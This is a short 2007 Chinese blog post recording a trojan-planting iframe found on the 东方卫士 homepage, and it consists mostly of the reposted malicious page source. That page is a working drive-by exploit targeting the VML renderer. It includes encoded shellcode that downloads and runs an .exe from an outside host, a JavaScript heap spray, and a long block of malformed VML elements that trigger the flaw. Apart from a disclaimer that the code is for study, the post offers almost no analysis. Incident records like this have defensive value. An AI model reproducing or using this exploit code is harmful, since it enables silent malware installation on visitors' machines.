东方卫士主页木马

最新推荐文章于 2025-04-27 21:01:05 发布

clin003

最新推荐文章于 2025-04-27 21:01:05 发布

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分类专栏： Other code life 文章标签： c javascript behavior iframe object html

本文链接：https://blog.youkuaiyun.com/clin003/article/details/1493591

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东方卫士主页木马

by clin003 from: http://blog.youkuaiyun.com/clin003 at 20070125

发现东方卫士主页底部被插入一条“<iframe src=”指令，隐藏打开一个新的页面，很明显不是东方的页面，用迅雷下回来看看。
这下，做个记录明天再研究。
下边是截图，和那个怀疑利用vml漏洞放马的叶面源代码。。

---------------

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v/:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<script language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u708b" +
"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e%ue8ec" +
"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e%u00f1" +
"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3%u0000" +
"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000%u4589" +
"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589%u4014" +
"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00%u7589" +
"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c%u0000" +
"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45%uc58b" +
"%uc083%u8950%u2045%uff68%u0000%u5000%u458b%u6a14" +
"%u5902%u558b%ue818%u0062%u0000%u4503%uc720%u5c00" +
"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20%u0c45" +
"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807%u4503" +
"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c%u5905" +
"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20%u0845" +
"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4%u0004" +
"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41%u0352" +
"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b%uf7e2" +
"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56%u3c73" +
"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933%u4149" +
"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108%u0dce" +
"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb%u245a" +
"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04%uc503" +
"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c%u4e4f" +
"%u6800%u7474%u3a70%u2f2f%u3335%u2e32%u6863%u782f" +
"%u6169%u652e%u6578%u0000");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>

最后声明下，这下贴出代码并没有恶意，只是供学习用。请不要用作不好的目的。
by clin003 from: http://blog.youkuaiyun.com/clin003 at 20070125